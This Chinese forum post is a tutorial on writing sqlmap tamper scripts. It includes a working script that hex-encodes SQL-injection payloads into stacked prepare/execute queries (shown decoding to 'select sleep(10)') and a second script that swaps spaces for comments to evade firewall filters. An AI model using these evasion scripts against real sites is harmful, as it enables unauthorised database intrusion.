风哥九月擂台赛sqlmap tamper脚本解释

君叹   ·   发表于 2021-10-20 11:30:26   ·   安全工具

sqlmap tamper

这边是看了聂风老师的九月擂台赛的课程之后想到的写这篇文章
当时聂风老师没有详细解释那个脚本
这不机会就来了嘛


直接看风哥的脚本
其中对于sqlmap来说
def tamper(paylod,**kwargs):
这句前面的都是默认的
dependencies()函数是用来定义该脚本不适用的情况
一般情况下为空即可,也就是写个pass
最主要的函数就是我们的tamper()了

  1. #!/usr/bin/env python
  2. import sys
  3. """
  4. Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
  5. See the file 'LICENSE' for copying permission
  6. """
  7. import string
  8. from lib.core.enums import PRIORITY
  9. __priority__ = PRIORITY.LOWEST
  10. def dependencies():
  11. pass
  12. def tamper(payload, **kwargs):
  13. payload = 'select 1'+payload
  14. payload =payload.encode().hex()
  15. payload = '1;set @x=0x'+payload+';prepare a from @x;EXECUTE a;'
  16. return payload

代码为什么这么写我就不多说了
想了解的可以直接去看风哥当时讲的课
https://ke.qq.com/webcourse/index.html#cid=275794&term_id=100326238&taid=12069897484121426&type=1024&vid=3701925925247626342

函数里面的第一句,是一个拼接
将原本sqlmap的payload和 select 1拼接起来
生成新的payload
第二句是将其转换为16进制 hex编码
第三句再次拼接

  1. def tamper(payload, **kwargs):
  2. payload = 'select 1'+payload
  3. payload =payload.encode('hex')
  4. payload = '1;set @x=0x'+payload+';prepare a from @x;EXECUTE a;'
  5. return payload

我们设置一下sqlmap代理,看看为什么要这么写


将其url解码一下
我们可以看到,id=1是我们传入的url中带有的,而后面的Payload则是用AND连接起来的

这时候我们翻回去看看擂台赛中的Payload是什么样的

  1. 1;set @x=0x73656c65637420736c65657028313029;prepare a from @x;EXECUTE a;

@x的值为 select sleep(10)
而sqlmap的自带payload是用AND连接的
那么如果直接把自带Payload进行Hex编码
@x内的值如果作为sql代码执行就会报错,不会执行
所以代码中第一句需要用 select 1 和其拼接
第二第三句都好理解
将select 1 AND sleep(10)进行HEX编码
再将其塞入到正常的payload中
风哥的脚本是python2的
想让python3也能用
就需要把第二句
payload =payload.encode(‘hex’)
改为
payload =payload.encode().hex()
即可
懂得原理之后,我们也可以根据盲注的类型
自己去写一个脚本
来节约时间
例如
有些网站防火墙会过滤
union select
这样的组合
那么我们就可以将空格替换为//
那么脚本如下

  1. #!/usr/bin/env python
  2. import sys
  3. """
  4. Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
  5. See the file 'LICENSE' for copying permission
  6. """
  7. import string
  8. from lib.core.enums import PRIORITY
  9. __priority__ = PRIORITY.LOWEST
  10. def dependencies():
  11. pass
  12. def tamper(payload, **kwargs):
  13. payload = payload.replace(' ','/*--*/')
  14. return payload

其中,需要我们修改的地方只有函数tamper()里面的内容

用户名金币积分时间理由
叹城 1.00 0 2021-10-29 14:02:34 一个受益终生的帖子~~
ZKAQ-枫 5.00 0 2021-10-23 21:09:18 一个受益终生的帖子~~
Track-劲夫 20.00 0 2021-10-23 14:02:05 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2021-10-20 | 1122 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.